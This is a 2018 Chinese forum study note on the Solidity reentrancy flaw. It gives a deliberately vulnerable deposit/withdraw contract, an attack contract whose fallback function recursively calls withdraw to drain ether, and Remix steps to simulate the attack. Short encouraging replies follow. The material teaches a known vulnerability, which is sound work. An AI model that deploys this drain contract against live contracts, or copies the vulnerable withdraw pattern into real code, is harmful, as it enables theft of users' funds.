首页
社区
课程
招聘
[原创] Reentrancy - 重入【Solidity漏洞学习笔记】
发表于: 2018-8-23 16:20 5578

[原创] Reentrancy - 重入【Solidity漏洞学习笔记】

2018-8-23 16:20
5578

前置知识点:

1.Solidity的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗gas(燃料)。如果gas消耗完了(剩余2300gas时)但合约没有执行完成,合约状态会回滚。

2.  几种转币方法:

addr.transfer() 

  •     当发送失败时会 throw; 回滚状态
  •     只会传递 2300 gas 供调用,防止重入

addr.send()

  •      当发送失败时会返回 false 
  •      只会传递 2300 gas 供调用,防止重入

addr.call.value()   

  •       当发送失败时会返回 false
  •       传递所有可用 gas 进行调用。存在重入漏洞(可使用gas(gas_value)进行限制)

3.Solidity中函数递归调用栈(深度)不能操作 1024层。

4.回退函数fallback()回退函数将会在智能合约的call中被调用。

pragma solidity ^0.4.19;
contract Demo{
    uint count;
    
    function () {        // fallback 函数为匿名函数,一个合约实例有且只有一个,函数没有参数和返回值。
        count++;        // 当外部账户或其他合约向该合约地址发送 ether 时,fallback函数会被调用。
    }                   // 当外部账户或其他合约调用了该合约一个不存的函数时,fallback函数会被调用。

    function Demo(){    // Solidity 5.0版本后 不再规定构造函数与合约类同名
        count = 0;
    }
}

5.require 和 assert 、revert 、throw

   require 、assert 都用于检查条件,并且在不满足条件的时候抛出异常。

   revert 、throw 都是标记错误并恢复当前调用,但Solidity在4.10开始引入 revert(),assert(),require()函数。

   深入理解参考文章

6.payable 标识的函数。函数上增加payable标识,即可接受 ether,并且会把ether存在当前合约。

7.Solidity的函数修改器(Function Modifiers),关键字Modifiers。函数修改器可方便控制函数的逻辑。比如可以在某个函数执行前检查某个前置条件。 详细解释


还原场景模拟攻击:

创建合约AMoney,合约AMoney可以保存用户在合约里存入的 ether
pragma solidity ^0.4.19;

contract AMoney{
    
        mapping(address => uint256) balances;     //创建字典 用户地址key,用户存入ether为value 
         // 存入 ether 到AMnoey合约中   
        function deposit() payable public {
                balances[msg.sender] += msg.value;
      }
        
        // 查看当前调用者在AMoney合约中的ether数
       function getMoney() public returns(uint256){
                return balances[msg.sender];
       }
      
       // 查看目标用户中存如AMoney合约中的ether数
        function getMoney(address add) returns(uint){
                return balances[add];
      }
      
        // 用户从AMoney合约中取出 ether
       function withdraw(address add, uint amount){
            // 判断用户在当前合约中存入的 ether数是否大于 要取出的 ether数
            require(balances[add] > amount);
            // 向用户地址发送 ether 
            add.call.value(amount)();
            // AMnoey合约中 减去取出的 ether 
            balances[add] -= amount;
       }
}
创建攻击合约Battach,以太坊中存在两种账号,一种是合约账号,一种外部账号(EOA)。这里我们利用前置知识点4特性攻击上面的合约AMoney,循环取走合约里所有的ether。
pragma solidity ^0.4.19;

contract Battach{

    address amoney;
    address owner;
    uint256 money;
    modifier ownerOnly {
        require(owner == msg.sender);
        _;
    }
    // 构造函数初始化合约所有者的地址
    function Battach() payable {
        owner = msg.sender;
        money = msg.value;
    }

    // 保存AMoney合约的地址 以备后续调用
    function setAddre(address add) public{
        amoney = add;
    }
    //开始攻击合约AMoney
    function startattach() ownerOnly payable{
        // 向合约AMoney中存入 ether
        amoney.call.value(msg.value)(bytes4(keccak256("deposit()")));
        // 从合约AMoney中取出 存入的 ether/2  ,这里使用的是call 所以会调用 fallback
        amoney.call(bytes4(keccak256("withdraw(address,uint256)")),this,money/2);
    }
    // 销毁合约,相当于C++里的析构
    function stopattach() ownerOnly{
        selfdestruct(owner);
    }

    // fallback 函数
    function () payable{
        // 这里是为了判断调用栈地址是否为 AMoney
        if(msg.sender == amnoey){
            // 从合约AMoney中取出 ether,然后继续调用 fallback函数。相当于递归。
            amoney.call(bytes4(keccak256("withdraw(address,uint256)")),this,msg.value);
        }    

    }

}

使用Remix IDE 模拟攻击操作:

1.选中一个账号

2.创建合约AMoney

3.存入 50 ether    


4.选中第二个账号

5.输入20 ether

6.创建合约Battach


7.复制合约AMoney地址到setAddre中注意添加引号“0x00000”

8.启动startattach函数,递归取出存在AMoney合约中的 ether

9.复制合约battach地址到合约AMoney 中getMoney函数处,查看攻击合约中有多少 ether



链接:
4a0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0A6j5$3E0Y4M7X3q4&6i4K6u0W2L8h3g2Q4x3V1j5J5x3o6p5^5i4K6u0r3x3o6g2Q4x3V1j5I4y4#2)9J5c8X3g2@1K9r3g2J5k6i4g2E0i4K6u0V1M7$3#2S2M7Y4c8Q4x3X3c8U0L8$3&6@1M7X3q4U0N6s2y4Q4x3X3c8$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8W2M7#2)9J5k6s2u0W2N6X3W2W2N6#2)9J5c8R3`.`.
https://bbs.pediy.com/thread-228422.htm
8feK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3j5i4m8W2M7W2)9J5k6i4y4W2k6h3u0#2k6#2)9J5k6h3!0J5k6#2)9J5c8U0j5K6x3g2)9J5c8W2)9J5x3K6b7I4i4K6u0V1M7s2u0A6N6X3q4@1k6h3u0S2L8X3D9`.

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 184
活跃值: (161)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
2
加油老哥
2018-8-23 18:33
0
雪    币: 1659
活跃值: (1732)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
3
luobobo 加油老哥[em_59]
大佬你好,向大佬学习。
2018-8-23 18:50
0
游客
登录 | 注册 方可回帖
返回